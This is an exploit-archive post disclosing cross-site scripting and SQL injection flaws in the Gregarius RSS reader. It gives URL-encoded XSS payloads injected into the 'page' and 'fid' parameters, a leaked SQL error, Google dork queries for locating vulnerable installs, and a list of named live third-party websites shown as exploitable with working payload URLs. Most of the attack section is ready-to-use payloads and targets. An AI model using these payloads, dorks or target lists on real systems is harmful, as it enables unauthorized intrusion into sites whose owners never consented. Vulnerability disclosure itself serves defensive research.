exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Gregarius 0.x.x Cross Site Scripting / SQL Injection

Gregarius 0.x.x Cross Site Scripting / SQL Injection
Posted Jan 9, 2012
Authored by Sony

Gregarius version 0.x.x suffers from cross site scripting and remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, xss, sql injection
SHA-256 | 9054aea688453bef3f43a6d161d88952fdacc2f4af2acd00c089b4951b12cc40

Gregarius 0.x.x Cross Site Scripting / SQL Injection

Change Mirror Download
# Exploit Title: Gregarius 0.x.x  SQL Injection/Cross Site Scripting
# Date: 7.01.2012
# Author: Sony
# Software Link: http://www.phpkode.com/projects/item/gregarius/
# Web Browser : Mozilla Firefox
# Blog : http://st2tea.blogspot.com
# PoC:
http://st2tea.blogspot.com/2012/01/gregarius-0xx-sql-injectioncross-site.html
..................................................................

Well, when i was looking for xss on the linux-installieren.de i found sql.

We can see : (i want to say that i know little about sql-inj and i don't
can put "full sql" here, sorry)


http://news.linux-installieren.de/LinuxTag:_News/?page=1&media=rss&

http://news.linux-installieren.de/LinuxTag:_News/?page=1[it'shere]&media=rss&

http://news.linux-installieren.de/LinuxTag:_News/?page=1%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E&media=rss&

Failed to execute the SQL query

select i.title, c.title, c.id, i.unread, i.url, i.enclosure, i.author,
i.description, c.icon, unix_timestamp(ifnull(i.pubdate,i.added)) as ts,
i.pubdate is not null as ispubdate, i.id , null from news_item i inner
join news_channels c on (c.id = i.cid) inner join news_folders f on (
f.id = c.parent) where not(i.unread & 8) and not(i.unread & 4) and i.cid
= 25 and 1=1 order by ts desc, f.position asc, c.position asc , ts desc,
i.id asc limit 18.88383, 10

Error 1064: You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use near
'18.88383, 10' at line 1

It's version Gregarius 0.6.1.

We well see in Google Dorks:

intext:page=1&media=rss&. or intext?page=1&media=atom& or etc..

And we can see some web sites, which use gregarius.

http://news.geocaching-portal.com/Der_Struwwelpod/?page=1[it'shere]&media=rss&.
http://dobeska.net/rss/?page=1[it's here]&media=rss& (oh, i will write
later for admin about it)

And we can see 0.5.5 version:

http://www.totustuustools.net/rss/?page=1&media=rss

Well, but i wanted a find xss in the gregarius and i found it. But only in
another version and with sql too.

http://www.vicious-trollop.com/rss/admin/index.php?domain=folders&action=edit&fid=8[it'shere
xss with sql]

http://www.vicious-trollop.com/rss/admin/index.php?domain=folders&action=edit&fid=8%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E

http://faustobp.free.fr/gregarius/admin/index.php?domain=folders&action=edit&fid=8%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E

http://www.banemacleod.com/lab/gregarius/admin/index.php?domain=folders&action=edit&fid=8%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E

Version :Gregarius 0.5.0, Gregarius 0.5.2,Gregarius 0.4.2..

You can see in the Google Dorks:
inurl:/rss/admin/index.php?domain=
intitle:Gregarius » Feeds Admin
etc..

And here we can see again sql.

Error 1064: You have an error in your SQL syntax..
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    53 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close